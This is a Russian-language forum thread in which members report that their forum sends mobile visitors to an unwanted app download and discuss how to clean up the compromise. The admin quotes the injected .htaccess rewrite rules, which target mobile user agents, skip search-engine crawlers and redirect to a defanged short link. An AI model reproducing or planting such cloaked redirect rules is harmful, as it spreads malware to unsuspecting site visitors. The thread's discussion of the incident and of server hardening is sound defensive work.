На форуме вирус для платформы андроид!!!

[Lexx]

На данный момент на форуме присутсвует непонятный вирус, который виден на платформе андроид.
Он делает автоматическую пересылку и скачивание стороннего контента.
На данный момент проблема решается.

 

[Alecks]

Да, вчера с телефона хотел зайти на наш форум - перескакивает на другую страницу и предлагает скачать какую-то прогу (Вконтакте).

 

[Lexx]

вот такая вот фигня(((((((((((((((((((((

RewriteEngine on RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC] RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC] RewriteRule (.*) http://goo(чтоб зайти, вместо данной надписи, надо поставить точку. Я вам этого делать не советую!)gl/YS5ml [L,R=302]

 

[Pianist-74]

У меня bada - работает отлично!

 

[Alecks]

По ссылке Лекса даже на ПК пытается установить Оперу Мини.

 

[Lexx]

Все починено!!!
Спасибо моему другу, Александру (который тут присутствует по ником Админ), в очередной раз за скорую помощь :yahoo!:

 

[Дядя Ваня]

Супер! Спасибо!!!

 

[Анатольевич]

Вчера поэтому и не писал. Сейчас все хорошо.

 

[Lexx]

Сейчас опять происходит профилактика(((
Откуда все берется, выяснем!

 

[Alecks]

Опять был вирус несколько часов назад, сейчас - ок.

 

[Pianist-74]

Все переходите на Bada!!!!!!!

 

[Олег Митрич]

На айпаде все в норме! Os рулит!!!

 

[Jam]

...у меня на андроиде нет с форумом проблем...

 

[nitro2005]

Вычищайте VPS, скорее всего чтобы изменить .htaccess взломщики заполучили доступ к shell. Нужно смотреть какие юзеры имеют доступ по ssh/sftp, если есть лишние/новые - удалить, на старых - поменять пароли. А лучше пользоваться авторизацией через открытый ключ, поменять порт ssh со стандартного 22 на какой-нибудь другой, закрыть доступ через файрволл. Ну а если уж доступ по паролю - поставить что-нибудь для защиты от подбора паролей, типа denyhosts или fail2ban.

P.S. ну и софтину форума, я полагаю, уже обновили.

 

[Pianist-74]

:D Лёш, что ответишь?

 

[Lexx]

В общем борьба продолжается(((
Смена хостинга и обновления форума не помогут, т.к. запускается сторонний скрипт.
Пароли поменены, доступ по фтп вообще меняется каждый раз.
Антивирусы не помогают, т.к. скрипт по сути не вирус(

 

[Анатольевич]

надо код чистить!

 

[Jam]

...может я чего не догоняю, но у меня на андроиде 4.1 с форумом никаких проблем не возникало и не возникает сейчас...никуда не редиректится и ничего не скачивается...что я делаю не так?...:)

 

[nitro2005]

...может я чего не догоняю, но у меня на андроиде 4.1 с форумом никаких проблем не возникало и не возникает сейчас...никуда не редиректится и ничего не скачивается...что я делаю не так?...:)

Может на вашей версии уже стоит какая-нибудь пропатченая версия оперы, либо выдает подпись неоригинального User-Agent (как у Desktop-версии).

А что за сторонний скрипт? Даже интересно. Может чем смогу помочь?

 

[Lexx]

Опять, вылез баг(((
Пытаемся устранить локально, т.к. скоро собирались переезжать!